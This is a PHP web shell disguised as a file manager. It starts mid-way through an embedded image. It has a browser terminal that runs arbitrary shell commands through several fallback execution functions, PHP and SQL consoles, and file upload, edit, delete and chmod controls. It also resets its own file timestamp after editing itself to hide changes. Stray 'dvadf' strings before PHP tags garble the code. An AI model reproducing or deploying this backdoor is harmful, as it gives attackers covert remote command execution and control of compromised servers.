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");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
dvadf<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg_ntimes)?'':'<tr><td class="row2" colspan="2">'.$msg_ntimes.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?>dvadf<?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
dvadf<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
dvadf<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg_ntimes .= __('File updated');
		else $msg_ntimes .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg_ntimes .= (__('File updated')); 
		else $msg_ntimes .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        dvadf<?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        dvadf<?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg_ntimes .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg_ntimes?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
dvadf<?php

} else {
                       
//quanxian gai bian hou xu yao xi tong chongqi
                    
    $msg_ntimes = '';

    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {

        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);

            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg_ntimes .= __('Error occurred');
                      
            } else {

		     		     $msg_ntimes .= __('Files uploaded').': '.$_FILES['upload']['name'];

		     	}
                       
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_khumfail(($path . $_REQUEST['delete']), true)) {
            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	$msg_ntimes .= __('Deleted').' '.$_REQUEST['delete'];
		     }
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
                      
            $msg_ntimes .= __('Error occurred');
        } else {
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['dirname'];
		     }

    } elseif(!empty($_POST['search_recursive'])) {
		     ini_set('max_execution_time', '0');
		     $search_data =  find_text_in_khumfail($_POST['path'], $_POST['mask'], $_POST['search_recursive']);

		     if(!empty($search_data)) {
                       
		     	$msg_ntimes .= __('Found in khumfail').' ('.count($search_data).'):<br>';

		     	foreach ($search_data as $filename) {
                    
		     		     $msg_ntimes .= '<a href="'.thangweb(true).'?fm=true&edit='.basename($filename).'&path='.str_replace('/'.basename($filename),'/',$filename).'" title="' . __('Edit') . '">'.basename($filename).'</a>&nbsp; &nbsp;';

		     	}
		     } else {
		     	$msg_ntimes .= __('Nothing founded');

		     }	

	} elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {

        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {

            $msg_ntimes .= __('Error occurred');
                    
        } else {

		     	fclose($fp);
                     
		     	$msg_ntimes .= __('Created').' '.$_REQUEST['filename'];
		     }

    } elseif (isset($_GET['zip'])) {
		     $source = base64_decode($_GET['zip']);
		     $destination = basename($source).'.zip';
                      
		     set_time_limit(0);

		     $phar = new PharData($destination);

		     $phar->buildFromDirectory($source);
                      
		     if (is_file($destination))
                     
		     $msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     '.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		     .'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';

		     else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['gz'])) {

		     $source = base64_decode($_GET['gz']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
		     if (is_file($archive)) unlink($archive);

		     if (is_file($archive.'.gz')) unlink($archive.'.gz');
                       
		     clearstatcache();

		     set_time_limit(0);

		     //die();
		     $phar = new PharData($destination);
		     $phar->buildFromDirectory($source);

		     $phar->compress(Phar::GZ,'.tar.gz');
		     unset($phar);
		     if (is_file($archive)) {

		     	if (is_file($archive.'.gz')) {
		     		     unlink($archive); 
		     		     $destination .= '.gz';

		     	}


                       
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)
                       
		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	} elseif (isset($_GET['decompress'])) {

		     // $source = base64_decode($_GET['decompress']);
		     // $destination = basename($source);
                     
		     // $ext = end(explode(".", $destination));

		     // if ($ext=='zip' OR $ext=='gz') {

		     	// $phar = new PharData($source);

		     	// $phar->decompress();
                     
		     	// $base_file = str_replace('.'.$ext,'',$destination);

		     	// $ext = end(explode(".", $base_file));

		     	// if ($ext=='tar'){
		     		     // $phar = new PharData($base_file);
                    
		     		     // $phar->extractTo(dir($source));

		     	// }

		     // } 

		     // $msg_ntimes .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');

	} elseif (isset($_GET['gzfile'])) {

		     $source = base64_decode($_GET['gzfile']);

		     $archive = $source.'.tar';

		     $destination = basename($source).'.tar';
                     
		     if (is_file($archive)) unlink($archive);
		     if (is_file($archive.'.gz')) unlink($archive.'.gz');

		     set_time_limit(0);
		     //echo $destination;
                       
		     $ext_arr = explode('.',basename($source));
		     if (isset($ext_arr[1])) {
                     
		     	unset($ext_arr[0]);

		     	$ext=implode('.',$ext_arr);
		     } 

		     $phar = new PharData($destination);

		     $phar->addFile($source);

		     $phar->compress(Phar::GZ,$ext.'.tar.gz');

		     unset($phar);

		     if (is_file($archive)) {
		     	if (is_file($archive.'.gz')) {

		     		     unlink($archive); 

		     		     $destination .= '.gz';

		     	}
                    
		     	$msg_ntimes .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').

		     	'.&nbsp;'.rangkhwampanithan('download',$path.$destination,__('Download'),__('Download').' '. $destination)

		     	.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';

		     } else $msg_ntimes .= __('Error occurred').': '.__('no khumfail');

	}
                      
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
dvadf<?php if(!empty($msg_ntimes)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg_ntimes?></td>
</tr>
dvadf<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
dvadf<?php
session_start();

// List of command execution functions to check
$execFunctions = ['passthru', 'system', 'exec', 'shell_exec', 'proc_open', 'popen', 'symlink', 'dl'];

// Check if any of the functions are enabled (not disabled by disable_functions)
$canExecute = false;
foreach ($execFunctions as $func) {
    if (function_exists($func)) {
        $canExecute = true;
        break;
    }
}

if (!isset($_SESSION['cwd'])) {
    $_SESSION['cwd'] = getcwd();
}

// Update cwd from POST if valid directory
if (isset($_POST['path']) && is_dir($_POST['path'])) {
    $_SESSION['cwd'] = realpath($_POST['path']);
}

$cwd = $_SESSION['cwd'];  
$output = "";

if (isset($_POST['terminal'])) {
    $cmdInput = trim($_POST['terminal-text']);

    if (preg_match('/^cd\s*(.*)$/', $cmdInput, $matches)) {
        $dir = trim($matches[1]);
        if ($dir === '' || $dir === '~') {
            $dir = isset($_SERVER['DOCUMENT_ROOT']) ? $_SERVER['DOCUMENT_ROOT'] : $cwd;
        } elseif ($dir[0] !== DIRECTORY_SEPARATOR && $dir[0] !== '/' && $dir[0] !== '\\') {
            $dir = $cwd . DIRECTORY_SEPARATOR . $dir;
        }
        $realDir = realpath($dir);
        if ($realDir && is_dir($realDir)) {
            $_SESSION['cwd'] = $realDir;
            $cwd = $realDir;
            $output = "Changed directory to " . htmlspecialchars($realDir);
        } else {
            $output = "bash: cd: " . htmlspecialchars($matches[1]) . ": No such file or directory";
        }
    } else {
        if ($canExecute) {
            chdir($cwd);
            $cmd = $cmdInput . " 2>&1";

            if (function_exists('passthru')) {
                ob_start();
                passthru($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('system')) {
                ob_start();
                system($cmd);
                $output = ob_get_clean();
            } elseif (function_exists('exec')) {
                exec($cmd, $out);
                $output = implode("\n", $out);
            } elseif (function_exists('shell_exec')) {
                $output = shell_exec($cmd);
            } elseif (function_exists('proc_open')) {
                // Using proc_open as fallback
                $descriptorspec = [
                    0 => ["pipe", "r"],
                    1 => ["pipe", "w"],
                    2 => ["pipe", "w"]
                ];
                $process = proc_open($cmd, $descriptorspec, $pipes, $cwd);
                if (is_resource($process)) {
                    fclose($pipes[0]);
                    $output = stream_get_contents($pipes[1]);
                    fclose($pipes[1]);
                    $output .= stream_get_contents($pipes[2]);
                    fclose($pipes[2]);
                    proc_close($process);
                } else {
                    $output = "Failed to execute command via proc_open.";
                }
            } elseif (function_exists('popen')) {
                $handle = popen($cmd, 'r');
                if ($handle) {
                    $output = stream_get_contents($handle);
                    pclose($handle);
                } else {
                    $output = "Failed to execute command via popen.";
                }
            } else {
                $output = "Error: No command execution functions available.";
            }
        } else {
            $output = "Command execution functions are disabled on this server. Terminal is unavailable.";
        }
    }
}

if (!isset($url_inc)) $url_inc = htmlspecialchars($_SERVER['PHP_SELF']);
if (!isset($path)) $path = $cwd;

?>

<strong>root@Sid-Gifari:dvadf<?php echo htmlspecialchars($cwd); ?>$</strong><br>
<pre>dvadf<?php echo htmlspecialchars($output); ?></pre>

<form method="post" action="dvadf<?php echo $url_inc; ?>">
    <input type="text" name="terminal-text" size="30" placeholder="Cmd">
    <input type="hidden" name="path" value="dvadf<?php echo htmlspecialchars($path); ?>" />
    <input type="submit" name="terminal" value="Execute">
</form>
</td>
			<td>
			dvadf<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
			dvadf<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path"     value="<?=$path?>" />
				<input type="text"   name="filename" size="15">
				<input type="submit" name="mkfile"   value="<?=__('New file')?>">
				</form>
			dvadf<?php } ?>
			</td>
			<td>
				<form  method="post" action="<?=$url_inc?>" style="display:inline">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" placeholder="<?=__('Recursive search')?>" name="search_recursive" value="<?=!empty($_POST['search_recursive'])?$_POST['search_recursive']:''?>" size="15">
				<input type="text" name="mask" placeholder="<?=__('Mask')?>" value="<?=!empty($_POST['mask'])?$_POST['mask']:'*.*'?>" size="5">
				<input type="submit" name="search" value="<?=__('Search')?>">
				</form>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		     <td>

		     dvadf<?php if (!empty($fm_config['upload_file'])) { ?>
                      
		     	<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
                    
		     	<input type="hidden" name="path" value="<?=$path?>" />

		     	<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />

		     	<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
                       
		     	<input type="submit" name="test" value="<?=__('Upload')?>" />

		     	</form>

		     dvadf<?php } ?>
                    
		     </td>
		<td>
		dvadf<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		dvadf<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
dvadf<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
